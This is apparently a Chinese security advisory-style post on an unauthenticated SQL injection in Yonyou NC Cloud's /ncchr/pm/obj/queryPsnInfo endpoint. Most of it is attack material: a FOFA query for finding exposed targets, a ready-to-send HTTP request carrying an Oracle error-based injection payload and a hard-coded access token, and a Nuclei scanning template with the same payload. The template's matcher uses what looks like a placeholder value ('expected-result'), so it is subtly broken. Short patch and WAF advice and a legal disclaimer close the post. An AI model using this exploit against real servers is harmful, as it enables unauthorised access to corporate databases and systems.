0x00 漏洞描述
用友NC Cloud存是一款大型企业数字化平台。 在受影响的版本中,攻击者可以通过未授权访问 /ncchr/pm/obj/queryPsnInfo 接口,利用 staffid 参数的缺乏校验,通过传入恶意的 SQL 语句进行命令注入,从而控制服务器。
影响范围
尚不明确
0x01 测绘工具
FOFA:app=“用友-NC-Cloud”
0x02 漏洞复现
代码语言:javascript复制GET /ncchr/pm/obj/queryPsnInfo?staffid=1' AND 1754=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(122)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (1754=1754) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(107)||CHR(107)||CHR(113))-- Nzkh HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accesstokenncc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
0x03 Nuclei检测脚本
代码语言:javascript复制id: 用友NC Cloud系统queryPsnInfo接口SQL注入
info:
name: 用友NC Cloud系统queryPsnInfo接口SQL注入
author: admin
severity: high
description: 攻击者可以通过未授权访问 /ncchr/pm/obj/queryPsnInfo 接口,利用 staffid 参数的缺乏校验,通过传入恶意的 SQL 语句进行命令注入,从而控制服务器。
tags: oracle,sql,injection,timing
requests:
- method: GET
path:
- "{{BaseURL}}/ncchr/pm/obj/queryPsnInfo?staffid=1' AND 1754=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(122)||CHR(118)||CHR(113)||(SELECT (CASE WHEN (1754=1754) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(107)||CHR(107)||CHR(113))-- Nzkh"
headers:
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2
Connection: close
matchers:
- type: word
words:
- "expected-result"
extractors:
- type: regex
regex:
- "未知的主机"
0x04 修复建议
官方已发布升级补丁包,支持在线升级和离线补丁安装 使用WAF等设备对 /ncchr/pm/obj/queryPsnInfo 接口进行拦截
0x05 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。 请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。